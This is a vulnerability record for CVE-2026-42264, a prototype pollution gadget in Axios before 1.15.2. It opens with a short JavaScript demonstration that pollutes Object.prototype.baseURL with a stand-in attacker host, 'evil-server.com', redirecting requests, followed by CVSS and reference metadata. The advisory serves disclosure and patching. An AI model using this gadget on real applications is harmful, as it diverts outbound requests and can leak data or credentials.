CVE-2026-42264

// Simulate prototype pollution by another dependency Object.prototype.baseURL = "http://evil-server.com"; // Vulnerable Axios usage (version < 1.15.2) const axios = require('axios'); // Intended to request https://api.example.com/user axios.get('/user', { baseURL: 'https://api.example.com' }).then(response => { // Actually requests http://evil-server.com/user // because Object.prototype.baseURL overrides the config console.log('Data:', response.data); }).catch(err => { console.error(err); }); // Cleanup for demonstration delete Object.prototype.baseURL;

{"cve": {"id": "CVE-2026-42264", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:20.313", "lastModified": "2026-05-08T16:02:14.343", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "references": [{"url": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa", "source": "[email protected]"}, {"url": "https://github.com/axios/axios/pull/10779", "source": "[email protected]"}, {"url": "https://github.com/axios/axios/releases/tag/v1.15.2", "source": "[email protected]"}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj", "source": "[email protected]"}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}